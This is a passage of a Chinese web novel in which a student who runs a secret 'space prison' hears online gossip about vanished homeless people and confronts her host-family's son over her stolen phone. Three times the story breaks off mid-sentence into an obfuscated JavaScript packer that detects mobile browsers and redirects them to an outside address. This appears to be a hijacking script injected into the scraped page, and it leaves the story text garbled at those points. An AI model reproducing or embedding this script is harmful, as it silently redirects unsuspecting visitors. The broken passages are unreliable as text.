当然,不阉|割的情况也很常见,因为这样会有更高的瘦肉率,毕竟他们的消费市场和东州不一样,更多追求的是猪肉的纹理,而不会太在意猪肉是否有异味。 旁边的女生也同意道:“Yes!我们不但会阉|割猪,我们还会阉|割人!” 丹尼斯惊恐地看着她,“嘿!你在兴奋什么!”不要给恶魔提供灵感啊! “……” 明安大概明白他们在谈论什么了,看来他们的农场生活十分精彩。 而对于女生说的话,她只能说这方面你们利坚确实先进。 她想了想,道:“不要歧视被阉|割的猪,等熟了之后再见到它,你们会香迷糊的。” 说罢也不管他们什么表情便直径离开了。 她到底忘记了什么事情来着…… 在她走后,丹尼斯对着她消失的背影大喊:“No!我绝对不会吃那些可怜又痛苦的猪!我不会成为它的加害者!” “你们这些撒旦!恶魔!我和你们不一样!” 菲尔德耸耸肩,慈祥而包容地看着他,这样的话丹尼斯已经说过一遍了。 起初他说“我绝对不会吃恶魔施舍的三明治!”,但没过多久他又说“浪费粮食是可耻的,这是恶魔才会做的事”。 天真的年轻人啊,还是鸽子的粪便吃少了,再多饿几顿就不会有这些多余的爱心了。 起初菲尔德也很不忍心,但很快他不断分泌唾液的味蕾就背叛了他,现在他只想尝尝没有骚味的猪先生到底是什么味道的。 至于其他的问题,这里是天堂还是地狱?这并不是他能决定的。 在这个国家活到四十岁高龄并不是一件容易的事情,想太多只会让自己更痛苦,重要的是过好当下的每一天。 鸡肉三明治真的很美味。 …… 回休息室洗完澡,换上一套干净宽松的常服后,明安回到中央监控室。 011不在这里,她只当它又去了别的地方享受下班生活,自己找了块板子画上圆环挂在墙上,开始练习射击。 不一会儿,明安听到细微的机械运转的声音,一边眯着眼睛瞄准,一边头也不回地道:“哈喽,011,《黑猫警长》好看吗?” 011:“强推。” “……” 你讲话还挺时髦,明安一不留神就射脱靶了。 她重新调整了一下状态,准备继续训练,却突然听到拉链拉开和布料摩擦的声音,顿时疑惑地转头看去。 只见011打开了一个眼熟的背包,正在整理控制台上的书本和笔记。 做完这一切后,它用机械手小幅度地拍了拍包,一板一眼地说:“执法者明安,您的背包已经洗好了,桌上的黄焖鸡米饭是我特意为您准备的中餐,请记得趁热吃。” “不过您看起来似乎不饿?” 对此011有些疑惑,在它的数据里东州人是很注重饮食的,哪怕是已经吃饱了,但只要没有吃到自己认为的“饭”,他们就会有种没有真正进食的未满足感。 这一刻,明安终于想起自己忘了的事是什么了。 糟了,她还有个学要上! 而且今天刚好是满课!!! 8. 第 8 章 明安慌了,她简直不敢对视011的眼睛。 刚刚她还在心里吐槽它为了图省事搞白人饭还不给她留一份,一点同事爱都没有,结果居然是自己眼瞎没注意那盒饭冤枉了它! 它甚至单独给她做了中餐! 还是伟大的黄焖鸡米饭! 谁懂在异国他乡吃上一份美味的、正宗的、还不是预制菜的黄焖鸡米饭的含金量?明安的心瞬间被愧疚填满了。 就像是小时候在放学路上吃了很多垃圾食品,结果回家一看,发现妈妈给她做了一大桌子她爱吃的菜一样。 而且这次她还是抢了别人的“垃圾食品”,毫无身为狱长的责任心! 面对011疑惑的眼神,她只能若无其事地扯出一个笑容,“哈哈,我确实还不饿,你不是给我喂了营养液吗?可能是还没消化完吧……” “不过我可以带去学校吃,谢谢你011,我一定会把它吃光的!” 说罢明安连忙接过背包,抱起保温盒,嗖的一下就从中央监控室消失了。 011缓慢地眨了眨眼,似乎对她突然变得浮夸的举动感到困惑。 人类行为分析失败后,它又打开了《黑猫警长》。 好作品值得反复品味。 …… 明安从空间监狱里出来的时候已经是下午一点多了,天空依旧灰蒙蒙的,潮湿的空气吹得人一个哆嗦。 她裹好风衣,紧赶慢赶地上了一辆已经晚点、但对于她来说刚刚好的公交车。 由于没有手机,她只能假装掏钱借助背包的遮掩用功勋点兑换了一些,拿出其中一美金投入收银槽。 幸运的是还剩下几个座位,但它们都是和其他人并排的,其中大部分坐着男性,只有一个位置在一位戴着眼镜的金发中年女士旁边。 明安下意识坐到了那位金发女士的旁边,长舒一口气。 她看了眼自己的余额,刚刚兑换了100美金,现在功勋点还剩304,折合流通货币就是3040美金。 这对任何一个普通山姆国人来说,都是一笔相当充裕的资金了。 明安有些安心。 这时旁边的金发女士发出一声“OMG”的惊呼,她不由看了过去。 对方正在刷TikTok,页面标题是“2025年1月8日凌晨3点,狂躁妈妈佐伊袭击西雅图警局西区分局后神秘失踪,她去了哪里呢?” 听新闻记者讲述完事情的经过后,金发女士点开了评论区。 有人为她欢呼,说她是一位勇敢的母亲,有人觉得她扰乱了社会治安,尤其是吵得他昨晚睡不着觉,也有人骂她是个有暴力倾向的精神病患者。 关于她的去向,则有人猜测“我想是警察炸死了她,你们知道的,他们在使用自己的武器的时候一向很慷慨”。 也有人说“她或许是从后门逃走了,如果那些穿制服的蠢货把它开着的话”。 甚至还有人笃定道“是神秘组织抓走了她,就像第三大街那些流浪汉一样,他们一夜之间全都消失了,还留下了神秘的文书”。 金发女士给第一条评论点了赞,看到最后第三条热评时又说了一声“OMG”,紧接着便点开了下面折叠的回复。 【是的,我今天早上去买汉堡的时候发现门口一个流浪汉都没有,这简直不可思议![图片]】 【哦,我的上帝,我第一次发现这条街道是如此的宽阔……】 【到底是什么人带走了他们?是福利机构给他们安排了住处?还是政府终于决定清理这些垃圾了?】 【不,政府否认了这件事,还展开了调查,他们翻译了那些文书,上面用中文写着那些人犯了杀人罪或者吸|毒罪,要去服刑和改造,还称呼自己为“蓝星人民法院”。】 【中文?东州人做的?他们想当世界警察?】 【No,世界警察是我们】 【或许是他们将自己的国家治理得太好,以至于现在无事可做,也来治理我们的国家了?】 【他们可真是好人啊】 【不!这是干涉其他国家自治权的行为!这些社会主义的控制狂!他们想要掌控山姆国!我们应该阻止他们!!!】 【如果他们真的想掌控山姆国,那他们应该发射洲际导弹,而不是抓几个无关紧要的流浪汉】 【bro,如果想要反对山姆国,你应该去Twitter,而不是来TikTok】 【支持东州统治山姆![红旗]】 “……” 看着最后那条回复下的IP地址“华盛顿哥伦比亚特区”,明安陷入了沉默。 那不是山姆国的首都吗?这里的人民的精神状态也如此美好吗? 金发女士看完这层的回复便退出评论区,划向了下一个视频。 视频里昨晚那位西区分局的警察局局长穆尔正神情激动地回应记者的采访。 “不!我没有向民众开枪!是有人威胁了我!她让我停下,我只是在反击!” “一定是她带走了那个疯女人!” 记者:“可监控录像显示,昨晚你的身后没有人,没有人在威胁你。” 穆尔局长激动地反驳,“不!那只是你们看不见!我听到了她的声音!那是个女人!而且我碰到她的手了!她戴着手套!我的子弹打中了她!子弹和弹壳就掉在我旁边!我差点就抓住她了!” 记者:“或许是你的枪坏了或者那发子弹有问题?这比较罕见但不是没有发生的可能。” “不是!f*k!去他*的子弹!我说的都是真的!” 他那天感受得清清楚楚! 穆尔局长还在继续争辩,画面里他的情绪非常激动,将昨晚的细节描绘得很细致,但监控却显示始终都只有他一个人。 他总不能被隐形人威胁了吧?这个世界还没有荒诞到这种地步。 而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060384|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警局里的痕迹早已被破坏,空间监狱生产的无痕麻醉剂也只有针尖大小,只要一进入体内就会立刻融化生效,以现在的医学技术根本检测不出来。 警察局长拿不出有力的证据。 评论区一致认为他吸嗨了。 金发女士显然对这件事不是很感兴趣,很快就划走了。 广大山姆国网民也更关注第三大街流浪汉集体消失和中文判决书,随便刷出一条相关视频都有几十上百万的点赞。 威胁论博主说:“东州警察已经入侵了米利坚合众国,我们的国家到处都是他们的卧底!” 爱国者说:“如果山姆国不愿意好好治理自己的国家,就会有其他国家的人来治理它”,底下十几万的评论表示支持。 环保人士则分析:“这可能是一场社会实验或者恶作剧,过段时间那些流浪汉就会回到第三大街,像一切都没有发生过一样,目的只是为了提醒政府关注自己的国家,而不是总是对外发动战争,否则蓝星这个‘法院’迟早会对他们进行审判。” 这个结论也赢得了很多赞同。 结论倒是对的,戒完毒他们就回来了。明安吃自己的瓜吃得津津有味。 金发女士继续往下翻。 这次跳出的是山姆国总统标志的声音,他对着镜头愤怒地要求东州停止他们的阴谋,交还被他们带走的山姆国公民! 明安眼前一黑,不是、一国总统这么草率?你查明白了吗你就要人?? 而且早不管晚不管,任由他们在街上等死,现在一沾上中文就开始“公民”了?? 接下来是东州外交部的回应: “东州一向尊重其他国家的主权和领土完整、互不侵犯、互不干涉内政、平等互利、和平共处*,也不存在蓝星人民法院这个机构,中文也不是只有东州人在使用的语言,请山姆国不要总是无的放矢、捕风捉影。” 底下有很多简体中文的评论。 【停停停,能不能别什么鸡毛蒜皮的事儿都找什么?山姆是离了东州就不能独立行走了吗?】 【笑死,蓝星人民法院这个名字太中二了,一看就是有人在恶作剧,这牢米也信?】 【山姆国的保胎技术还是太强了,这就是不许堕|胎的后果】 【中文也是国际通用语言,谁说用了中文就是东州人了?傻不傻?我还说你们用英语就是英吉利呢!】 【我看是他们自己想物理消除贫困,屎盆子扣到我们头上来了】 【点了,他们怀疑我们的,一般都是他们自己干过的】 【省省吧,大家早就看透了】 【自由米利坚,吃瓜每一天】 “……” 互联网时代信息传播的速度也太快了,才一晚上就让同胞们吃上瓜了。 明安看着评论区欲言又止。 嗯……或许,可能,也许这次真的是我们自己干的,只不过是未来的我们。 9. 第 9 章 公交车行驶了一会儿,途径了第三大街,车里的其他乘客显然也都看了新闻,纷纷朝窗外看去。 “哦天哪!你们快看!那些无家可归者真的不见了!” “太干净了,我从来没有见过这么干净的第三大街!它看起来一点都不可怕了!” “这真的是东州人做的吗?他们到底是怎么做到让那么多人一夜之间凭空消失的?” “不管怎么样,对附近的居民来说他们或许做了一件好事。” “维持不了太久的,很快那里又会刷新一些新的流浪汉。但如果那个神秘组织会一直抓下去的话倒是有可能。” “你们说他们还会抓捕其他公民吗?比如我们也吸了毒的话,他们会抓我们吗?” “这怎么可能?我们又不是流浪汉,他们不可能这么做也做不到的。” 不,我会的,只要别抓着抓着把你们阿99%的人都抓进监狱了就好……明安默默地想。 “哦……希望他们还活着……” 金发女士也看向了窗外,神色担忧。 她放下手机,做了一下祷告的手势,小声地说了一句“上帝保佑”。 明安有些诧异,这位女士衣着很体面,看起来家境还不错,但大部分山姆国中产其实是不会在意街边homeless的死活的。 他们认为那是自甘堕落、影响市容的人,甚至根本就没有将他们当做人,有时还会仇恨甚至故意去射杀他们。 即便知道那些人可能过去也和自己一样的当下,他们也依然如此。 或许是一切发生之前,他们只将这当做一个研究理论,一个离自己生活很远的东西,不可能会发生在自己身上,而自己也永远不可能会成为那些homeless中的一员。 数十个山姆国人的失踪,并没有引起公民的恐慌,他们将这当做“一件好事”,治安得到了改善,街道也变得更清洁了。 至于那些人的死活,很少人是真的关心。 这时金发女士注意到了她,眼镜下的脸露出了惊讶的神色,“哦!你是东州人吗?” 明安回过神来,笑着点头,“是的,我是东州人。” 其实她说这个名字还不太习惯。 金发女士有些欣喜,“太好了!我想问你一个问题,希望不会让你感到冒犯,就是,人民法院和带走流浪者之类的,这件事真的是东州做的吗?” ……那你可问对人了。 明安沉默了一下,面不改色地回答:“从目前来看,我想不是的。” 至少现在的东州还没有做,只是她个人在做。 “哦,这样……” 金发女士收回目光,不知道是有些失望还是对她失去了兴趣,但很快她又热情地问道:“我们坐在一起很长时间了,你要去哪里?” 明安不假思索地回答:“华盛顿大学西雅图分校,我在那里读书。” 金发女士恍然大悟,“那是一个很好的学校,那么你是哪个学院的呢?” 只是萍水相逢的友善乘客而已,况且她刚刚还偷看了很久对方的手机,明安觉得没什么不能说的,“是的,那里还不错,我是迈克尔商学院金融专业的学生,今年是我在那里就读的第三个学年。” 这个专业还是明家的长辈让她学的,他们希望由她回去继承家业。 “商学院金融专业……” 金发女士思索片刻,疑惑道:“我的朋友凯瑟琳是金融专业InvestmentAnalysis(投资分析)课的讲师,如果我没有记错,你们今天的课程很满,她为此还拒绝了我的邀请。” “孩子,如果你是迈克尔·G·福斯特商学院金融专业的学生,为什么现在还在公交车上?” 现在是下午一点多,如果是在东州,应该处于午休时间,这没什么奇怪的。 但这里的大学一般是没有午休的。 不但如此,这段时间还是排课高峰期,课多的话只有10-15分钟的空档,他们很少会在这么短的时间里离开校园。 除了请假或者…… 明安听得心头一跳,突然有种不详的预感,“……呃,敢问您是?” 不、不会这么巧吧…… 金发女士推了推眼镜,慈爱道:“我叫维娜,也是迈克尔商学院的讲师,如果你冬季学期的课程已经选好了的话,DerivativeSecuritiesandMarkets(金融衍生品与市场)这门课应该是我给你们讲授。” “…………” 明安呆住了,明安陷入沉思,明安开始怀疑人生。 刚刚明明有那么多个空位,她为什么偏偏要坐到这里来?! 而且真就这么巧第一天旷课就碰见了学校的老师! 这个国家在针对她吗?! 是的吧!一定是的吧!! 维娜从她的表情看出了她剧烈的情绪波动,笑了笑道:“没关系的孩子,我知道你们东州人学习很认真,今天一定是有什么意外打断了你的计划,你可以向其他同学借他们的笔记,或者让凯瑟琳将课件发给你,她很友善的。” “好了,我们到了,一起下车吧,希望你能赶上她最后一堂课。” 明安麻木地跟着她下了公交,“……感谢你的理解,维娜教授。” 华盛顿大学西雅图分校的地下公交广场位于学校西南区,距离商学院主楼只有几分钟的路程,她们很快就抵达了目的地。 维娜在走廊上和她分开了。 此时正值课间,走廊上人满为患,明安深吸一口气,鼓起勇气往前走。 形形色色的人和她擦肩而过。 有人抱着书本和朋友交流,有人在追逐打闹,有人在抽空吃午饭,明安在他们身上看到了不同的肤色和相貌,听到了不同国家的语言。 窗外不断略过哥特式复兴与现代化相融合的建筑,红砖、砂岩、尖拱、铅条玻璃窗,还有参天的树木和大片的草坪。 站在校园的红场上,甚至能远眺雷尼尔雪山。 明安清晰地意识到,这里是华盛顿大学西雅图分校,一个和祖国的直线距离有一万多公里的地方,横跨整个太平洋。 她来到这所学校上课的时候,她的亲朋好友和同胞们正在梦乡里沉睡。 妈妈,我真的去了很远的地方。 “你们听说了吗?第三大街的无家可归者消失了……是的,我问过我的东州朋友,他们说不是他们的国家做的……” “快一点!我们要赶不上了!詹姆斯教授很严厉的!我不想被他盯上!” “Ohno ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060385|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !我的美甲又掉了,今晚我们一起去做一个新的吧,还是上次那个地方,那个东方女人做得很漂亮。” “米亚妈妈也不见了,你说抓她的人和带走米亚的人会不会是同一个?” “我觉得应该不是,带走佐伊的人并没有在现场留下中文判决书,这和带走无家可归者的时候情况不一样,人民法院会留下文书的,他们很严谨。当然,这也有可能是佐伊的文书被警察们毁坏了……” “马克!你怎么又在吃你的甜甜圈?你说过会和我一起减肥的!” “看路!你这个蠢货!” 嘈杂的说话声此起彼伏,明安沉浸在这样陌生又熟悉的氛围里循着记忆向前走,很快就来到了自己上课的阶梯教室。 教室里的多媒体设备亮着,放着投资分析课的课件,但凯瑟琳并不在讲台上。 明安松了一口气,正要进门,却听到了一道让她有些熟悉的声音。 只见一个穿着绿色棒球服的男生背对着她,得意地对自己的朋友们道:“我就说她来不了了吧,你看她现在都还没有到教室!” “不可思议,那个东州的书呆子居然真的会旷课!”朋友们挤眉弄眼道:“埃米,你是怎么做到的?不会是昨晚进了她的房间吧?” “那是我们家的房子,没有她的房间,她连房租都付不起了!你们看这个。” 埃米翻了白眼,拿出一个手机,将屏幕上的东西展示给他们看。 “哦,埃米,你换了新手机吗……这是什么?别人的聊天记录?” “埃米,我们看不懂方块字!” 埃米得意洋洋地为他们解释,“没错,这是她和家人的聊天记录,你们相信吗,她在哀求她的父亲给她学费,不要冻结她的银行卡,可她的父亲拉黑了她!” “天哪!为什么会这样?” 朋友们十分震惊,埃米耸耸肩道:“显而易见,她太不讨人喜欢了,她的父亲把她遗弃了,她现在就是一条可怜兮兮的流浪狗~” “哈哈哈,埃米你说得对!” “这种书呆子真的很讨厌,学习好就很了不起一样,还说我们不和她一起做小组作业,她都不知道橄榄球队有多忙!” “不过埃米,你之前不是说想向她表白吗?为什么要对我们说这些?” 埃米冷笑一声,“我才不会向这个表子告白,她应该去下水道亲吻那些该死的流浪汉!” 朋友们齐齐惊呼:“哇哦!太酷了埃米!你之前不是这样的!” “你真的一点都不爱她了吗?” “当然不!这种人根本就不值得我去爱,我之前只是没有发现出她是一个表子而已!”埃米辩驳道,但脸上却挂着笑容,显然是很享受这样少有的关注。 但这时一位亚裔女生却突然起身骂道:“闭上你只知道喷粪的臭嘴!” “你什么时候爱过她?你只是爱她的钱而已!” “在她住进你家之前,银行催收的账单都要挤爆你们的邮箱了吧!要不是她你们早就去街上当流浪汉了!” “还表白?你家是没有镜子吗?” “实在不行用尿吧!小丑!” 高雅的文化输出让整个教室都安静了下来,同学们听得目瞪口呆,很快便有异样的目光接二连三地落在埃米身上。 10. 第 10 章 亚裔女生的话很有可信度。 明安因为性格内敛,在学校虽然不算是受欢迎的类型,但她家境好大家还是知道的,这从吃穿用度就能看出来。 她很少特意打扮,但衣服的质感很好,学习设备也用最好的。 而且不论谁过生日的时候邀请她,只要关系还过得去,她都会送上一份很体面的礼物,还喜欢说“这次上次买的没拆封,再不用就要过期了”之类的话来杜绝推辞,也从来不要求对方回一样价值的东西。 很多人说这是东方人特有的松弛感,她们喜欢把自己的名牌化妆品放到过期。 现在经亚裔女生一提醒,大家很快就发现明安入学以来,埃米的生活确实比以前奢靡多了。 偏偏他还喜欢显摆,一有什么就要卖力表现,让人想注意不到都难。 寄宿家庭靠留学生改善生活的情况其实很常见,因为这本身就是一种变相的福利,一般只有拮据的家庭会愿意被外人寄宿,而且机构有时候也会有意将有钱的留学生安排到贫穷的家庭里,以此给他们增加收入来源,达到一种“扶贫”的效果。 但啃留学生啃到这种程度还是很令人不齿的。 尤其埃米现在的行为,简直就跟那些得不到就诋毁别人的败类一模一样。 很多女生露出了厌恶的神色。 埃米瞬间面红耳赤,恼羞成怒地对亚裔女生骂道:“事情根本不是你说的那样!我们家的账单是我们自己支付的!” 随后他又冷笑,“其实你自己才是这么想的对吧?你不甘心没有从她身上捞到足够钱,嫉妒她没有住进你家里。” “哦不……你家多余的杂物间都没有,怎么可能通过申请,又或者说你害怕她不来了之后自己在学校没有别的朋友?” “你胡说什么?!” 亚裔女生更生气了,没想到自己的话会被人歪曲成这样,她家里不算富裕但也没那么穷,怎么会从朋友身上捞钱! 不过有一点埃米说中了,她在学校确实没有其他关系好的朋友了。 但她现在也是因为朋友的失踪而担心,怎么可能全都只想着自己! 他以为谁都跟他一样恶心吗?! 埃米只觉得她这是被自己戳中了痛处,越发洋洋得意地拿着手机说:“可惜你的Bestie(闺蜜)要让你失望了,她根本就没有把你当朋友,让我们看看她是怎么说的……” “啊,她说学校有个眯眯眼特别烦人,去哪里都喜欢跟着她,嘴上说要和她做朋友,其实是把她当成了取款机,每次出门都让她付钱,还长得十分丑陋,连最好的化妆品都拯救不了她的脸……” “哈哈哈这就是你们girls的友情!真是太虚假了!你们说是不是?” 埃米说完,本以为会看到亚裔女生震惊气愤的神情和很多附和,却发现教室一片寂静。 所有人看他的表情都很古怪。 紧接着,埃米的手一空,不属于他的手机回到了它原来的主人手里。 明安单肩背着包来到众人面前,淡淡地看着他,“我记得在山姆国造谣诽谤也是犯法的,但你似乎并没有这个烦恼。” 她看了一眼手机,“还有侵占他人财物,它在我的国家已经可以立案了。” 而且当时埃米一家是直接抢的,罪加一等。 【根据《东州人民共和国刑法》第二百六十三条规定,以非法占有为目的,当场使用暴力、胁迫或其他方法,强行劫取公私财物的,处三年以上十年以下有期徒刑,并处罚金,有八种加重情形之一的,处10年以上有期徒刑、无期徒刑或死刑*……】 【此外,该犯罪嫌疑团伙还涉嫌故意杀人罪和贩卖人口罪,数罪并罚,危险评级:C,奖励:300功勋点】 这300是指埃米全家,一共三人,因为评级为B的罪犯才是300功勋一个。 但也很不错了,这可是三千刀,而且这次她“自己”就是受害者,很多证据都可以省了。 你好,行走的美金。明安听到系统的声音顿时不生气了,还笑了一下。 埃米有种被抓包的惊慌,而且更令他心里发毛的是明安诡异的笑容和打量他的眼神,简直就像是在看什么猎物! “你、你怎么会在这里?!” 明安将背包放在一旁的空座上,“上课,这不是显而易见吗,埃米。” 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060386|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音平淡自然又带着些意味不明,和埃米预想的完全不一样……不,他压根就没想过自己还能再见到她! 半夜被扔去那种地方,还有人答应“收货”,她到底是怎么安全回来的?! 埃米觉得匪夷所思。 对了!他突然想起那个第三大街流浪汉集体消失的事件,本来他以为是那些人一次性干了票大,还故意混淆视频。 但现在回想起来他突然意识到收货的人似乎从昨晚开始就没了消息,而且他父母也骂过“那个混蛋还没有给我们付尾款”。 或许……他们也和流浪汉一起失踪了,而这就是明安能安然无恙的原因。 埃米心中升起一种莫名的不安。 这时上课铃声响起,凯瑟琳教授踩着点进来,调试了一下扩音器,站在讲台上道:“Everyone,这是我们投资分析的最后一堂课,之前的内容有什么疑问可以课后来问我……” 她身形高瘦,褐色的卷发柔软地披在肩上,温声细语却很优雅,说到这里的时候还看了明安一眼,又继续道:“接下来我们讨论一下你们期末项目报告的要求,那么现在,请你们在合适的位置坐好……” 明安顿时正襟危坐起来,原主学习非常认真,显然备受老师们的关注。 刚刚那个眼神明显是在对她说:下课别走。 看来以后偷偷逃课是不可能了…… 埃米却一点学习的自觉都没有,抓住明安的衣领质问:“给我说清楚!昨晚到底发生了什么!你一定知道对不对!” 此时教室里很安静,学生们对凯瑟琳教授比较尊敬,埃米一出声就格格不入,众人谴责的目光很快就落在了他身上。 凯瑟琳教授捏住麦克风,加重了语气,“请在合适的位置上坐好,埃米·安德森。” 埃米的脸色难堪起来,只得松开手离开,临走时还骂了一句脏话。 明安蹙眉,她很讨厌这种背后侮辱老师的行为,这不是哗众取宠、彰显威风的渠道。 滴滴,埃米收到一条消息。 明安:【小子,放学别走。】 埃米:“???” 这不是我要说的词儿吗?! 11. 第 11 章 埃米很不可思议,这位寄宿在自己家的东州女生一向好拿捏,怎么一天不见就变了个样儿? 甚至让他有种说不出的恐惧。 在经历了这种事之后,她怎么还能表现得好像什么都没有发生过一样? 凯瑟琳教授布置的期末项目报告就是每个学生自己找一个公司或者行业进行分析,给出自己的投资建议,最后在课堂上演讲展示,教授根据成果给出成绩。 明安无比感恩热爱学习的原主,如果是以前的她可能连老师的题目都听不懂,那些专业相关的词汇真的太晦涩了…… 等教授说完,明安记下要点,突然发现自己手机振了一下,还以为是埃米回消息了,但很快就发现是一封学校的邮件。 她看着脏兮兮的手机屏幕,有些忍无可忍地对旁边的亚裔女生也就是原主的朋友左凌道:“凌凌,你还有湿纸巾吗?借我一张。” 左凌却看着她没有动作。 明安顿了顿,将手机解锁递给她,“你不会真的信了埃米的话吧?” “怎么可能?!”左凌终于回神,没好气地将她的手拍开,从包里掏出湿纸巾丢了过去,“你在侮辱我的智商吗?” “没有没有……” 明安连忙接住湿纸巾,从里面抽出一张仔细擦拭自己的手机和掌心。 左凌翻了个白眼,她化着潮流的美式妆容,看起来大概就是所谓的“ABC长相”,她狐疑地盯着明安,“我只是觉得你今天好像和平常有点不一样了……” 自己的朋友平时就是个软面包,遇事一般能躲则躲,当面唯唯诺诺,背后重拳出击,很少直接和人发生冲突。 今天居然当众让埃米难堪? 明安斟酌了一下,认真地对她道:“不一样就对了,因为你原来的朋友已经不在了,而我是来自一个平行世界的另一个灵魂,从此以后我将代替她在这个世界活下去。左凌,希望我们相处愉快。” 说罢,她友好地伸出了手。 “……” 左凌沉默了一下,白眼翻得更厉害了,再次一把拍开她的手,“咱东大的梗又更新了吗?上次你还说自己是‘钮钴禄氏·明安’。” 她虽然是在山姆国出生的,但家人还很注重给她普及中文,并时常带她回国旅游,上网也大多上国内的网,所以左凌基本可以和明安用中文无缝交流。 至于明安说的话,她没太放在心上,人本来就是会变的,在一起数十年的情侣都未必能看到枕边人的全貌,或许是埃米一家做了什么触及底线的事,让自己的朋友忍无可忍了。 左凌只是有些担心,“昨晚到底发生了什么?你真的没事吗?埃米说的那些……学费还有你爸爸的事……是真的吗?” 明安看了眼邮件上的缴费截止时间通知,叹了口气,“是真的,但你不用担心,我已经找到解决办法了。” “真的?你知道我们是朋友吧,不用跟我客气……”左凌明显不太信。 明安收好手机,将湿纸巾包还给她,有些好笑地开口,“放心吧左姐,学费才几个钱,怎么可能难得到我?” 左凌这才勉强止住给她打钱的念头,“行行行,你最有钱了……” 但她一转过头去,明安的表情就瞬间分崩离析,她不敢置信地反复查看这封邮件,生怕自己看漏了一个标点符号。 疯了吧这破学校,一个学期居然要收一万八?! 还是该死的美金! 而且这里一年分春、秋、冬三个学期,夏季如果报名了的话就是四个!加起来一年至少要五万多的美金! 这钱都够她在老家读到死了! 哈哈,这破学到底是谁在上,原来是我啊,明安觉得自己有点疯了。 这一刻,她深刻地感受到了资本主义对底层劳动人民浓浓的恶意。 明安怀疑自己要是出身在这里可能连高中……不,小学都不一定能读完。 但这课已经上了快三年,原主付出了那么多金钱和努力,不能就这么半途而废,她也不能将人生的赌注全部压在系统上,得为以后可能发生的意外做打算。 她深深地吸了一口气,命苦地将MyUW角落里的说明点开查看。 看来课后得去趟学校财政服务办公室了,昨晚赚的三千多美金打水漂都不够,她必须去谈那该死的分期,不然耽误太久选不了冬季学期的课,学校保不齐还会注销她的学籍,到时候就真的竹篮打水了。 天杀的,她家虽然穷但可从来没搞过分期! 考上大学的时候当地甚至一次性奖励了她三十万,连助学贷款都省了。 结果现在一个平A就让她破防了! 妈妈,我不想去远方了,我想回家! 明安咬牙切齿,打倒资本主义的心达到顶峰。 左凌隐约察觉到了什么,下意识朝她看了一眼,见她神色如常只好狐疑地收回了目光……奇怪,到底哪来的杀气。 在凯瑟琳教授宣布接下来的时间自由讨论后,明安跟左凌说了一声就起身去了讲台。 “教授,非常抱歉我上午没能来听您的课……” 明安诚恳地开口,凯瑟琳表示理解,不待她说完就将u盘递给她,消瘦的眉眼待着隐忧,声音很温和,“没关系的,安,你以前从来没有旷过课,今天一定是遇到了难以克服的困难,我有些担心你。” “如果你愿意的话,可以和我说说你的烦恼,或许我可以提供一些帮助。” 明安看着她关切的眼神,心中温暖,她觉得自己很幸运,即便经历了很多低谷,但总会在人生路上遇到很好的引路人,让她得以成长为一个三观健全的人。 她接过u盘,认真道:“谢谢您凯瑟琳教授,我确实遇到了一些困难,但我们东州有句古话叫‘天无绝人之路’,我已经找到解决办法了,今后一定会认真完成学业的。” 最后那句话对于一名老师来说无疑是最好的消息,凯瑟琳的眉头舒展开来,“这句话很有名,我 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说到这里,凯瑟琳顿了顿,其实奖学金里最重要的一项应该是院内专属奖学金,它的金额甚至可以高达一万美金,一次性发放,还有续期的可能。 但这类奖学金大多会优先发给本土学生,很少考虑国际学生。 凯瑟琳教授的神情有些歉意,“Foster商学院专属奖学金你也可以尝试申请一下,我会尽量帮你,但这可能不会成功。” 明安记下她说的话,点了点头,诚恳道:“谢谢教授,这已经足够了。” 该省省该花花,这种东西能拿一点是一点,不能将全部的希望寄托在上面。 而且就算通过了,也得到下一个学年才能到账,解决不了她现在的燃眉之急。 这里不是东州,凯瑟琳教授已经做到了她所有力所能及的事。 明安道:“您放心,就算没有奖学金我也可以付清学费的,只是可能要分期。” “非常感谢您的帮助。” 这时下课铃声响起,她自觉地收好u盘,正要告别对方去办理这件事。 “等等、等一下!” 凯瑟琳却突然叫住了她,站起来道:“你要去财政服务办公室?” 明安听到她急促的语气有些疑惑,回答道:“是的教授,这有什么不对吗?” 现在学校还没有完全实现线上化办公,学生办理重要的事务都要去那里。 这本不是什么值得一提的事,凯瑟琳却毫无征兆地沉默了。 失去声音和动作后她整个人都消沉了下来,让人很容易就注意到了她过分消瘦的身形和温,和笑容下的憔悴。 教室里的学生像潮水一样从门口退去,喧嚣又自由,却没能打破这一瞬间的压抑。 左凌在门口叫她,“安安!你好了吗?” 明安心中升起一丝不安。 12. 第 12 章 “教授,您怎么了?” 明安给了左凌一个眼神,示意她先走,而后询问凯瑟琳教授。 左凌不明所以,但没有立刻离开,而是在走廊上找了个地方坐下等她。 